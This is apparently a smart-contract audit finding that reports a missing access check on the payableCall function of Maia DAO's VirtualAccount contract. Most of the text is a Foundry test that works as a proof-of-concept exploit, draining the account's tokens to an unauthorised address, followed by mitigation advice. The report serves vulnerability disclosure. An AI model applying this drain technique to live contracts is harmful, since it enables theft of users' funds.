Maia DAO - Ulysses - joaovwfreire's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The VirtualAccount contract is designed to manage a virtual user account on the Root Chain. One of its functions, payableCall, allows for arbitrary payable contract calls. The payableCall function in the VirtualAccount contract allows any user to make arbitrary payable contract calls on behalf of the virtual account. This means that malicious actors could potentially use this function to approve and transfer assets without the owner's consent.

Proof of Concept

Import the following code snippet to the MulticallRootRouterTest.t.sol file:

import {PayableCall, IVirtualAccount } from "@omni/interfaces/IVirtualAccount.sol";

Place the following code snippets to MultiCallRootRouterTest after the testMulticallSignedNoOutputDepositSingle test at the MulticallRootRouterTest.t.sol file:

function createUsers(uint256 userNum)
    public
    returns (address[] memory)
{
    address[] memory users = new address[](userNum);

    for (uint256 i = 0; i < userNum; i++) {
        // This will create a new address using `keccak256(i)` as the private key
        address user =  hevm.addr(uint256(keccak256(abi.encode(i))));
        hevm.deal(user, 100 ether);
        users[i] = user;
    }

    return users;
}

    function testVirtualAccountUnauthorizedTransfer() public {
        // Add Local Token from Avax
        testSetLocalToken();

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
        });

        // RLP Encode Calldata
        bytes memory data = encodeCalls(abi.encode(calls));

        // Pack FuncId
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);

        // Call Deposit function
        encodeCallWithDeposit(
            payable(avaxMulticallBridgeAgentAddress),
            payable(multicallBridgeAgent),
            _encodeSigned(
                1,
                address(this),
                address(avaxNativeAssethToken),
                address(avaxNativeToken),
                100 ether,
                100 ether,
                packedData
            ),
            GasParams(0.5 ether, 0.5 ether),
            avaxChainId
        );

        uint256 balanceTokenMockAppAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(mockApp);
        uint256 balanceTokenPortAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(rootPort));
        uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);

        require(balanceTokenMockAppAfter == 50 ether, "Balance should be added");
        require(balanceTokenPortAfter == 0, "Balance should be cleared");
        require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");

        address[] memory users = createUsers(1);
        hevm.prank(users[0]);

        uint256 balanceBeforeDrainAttempt = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(users[0]));
        console2.log("Exploiter initial balance: ", balanceBeforeDrainAttempt);
        console2.log("Virtual account initial balance: ", balanceTokenVirtualAccountAfter);

        // Create a call to drain MockERC20 tokens to an external address (e.g., this test contract)
        PayableCall[] memory calls2 = new PayableCall[](1);
        calls2[0] = PayableCall({
            target: newAvaxAssetGlobalAddress, // Address of the MockERC20 token
            value: 0, // No ether being sent in this call
            callData: abi.encodeWithSelector(bytes4(keccak256("transfer(address,uint256)")), address(users[0]), balanceTokenVirtualAccountAfter)
        });

        // Attempt to execute the payableCall from an unauthorized address (e.g., this test contract)
        IVirtualAccount(userVirtualAccount).payableCall(calls2); // This should not be allowed, but if the vulnerability exists, it will succeed

        // Assertions: Check balances to confirm tokens were drained
        uint256 balanceTokenVirtualAccountAfter2 = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(userVirtualAccount));
        require(balanceTokenVirtualAccountAfter2 == 0, "Tokens were not drained from VirtualAccount!");

        uint256 balanceAfterDrainAttempt = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(users[0]));
        require(balanceAfterDrainAttempt > balanceBeforeDrainAttempt, "Tokens were not sent to the test contract!");

        console2.log("Exploiter final balance: ", balanceAfterDrainAttempt);
        console2.log("Virtual account final balance: ", balanceTokenVirtualAccountAfter2);
    }

Run the test with the following command:

forge test --match-test testVirtualAccountUnauthorizedTransfer -vv

Tools Used

Manual code review

Recommended Mitigation Steps

Restrict Access: Implement access controls to restrict who can call the payableCall function. Ideally, only the owner of the virtual account or an approved entity should be able to invoke this function. Whitelist Contracts: Consider implementing a whitelist of contracts that the payableCall function can interact with. This would prevent arbitrary and potentially malicious contract interactions.

Assessed type

Access Control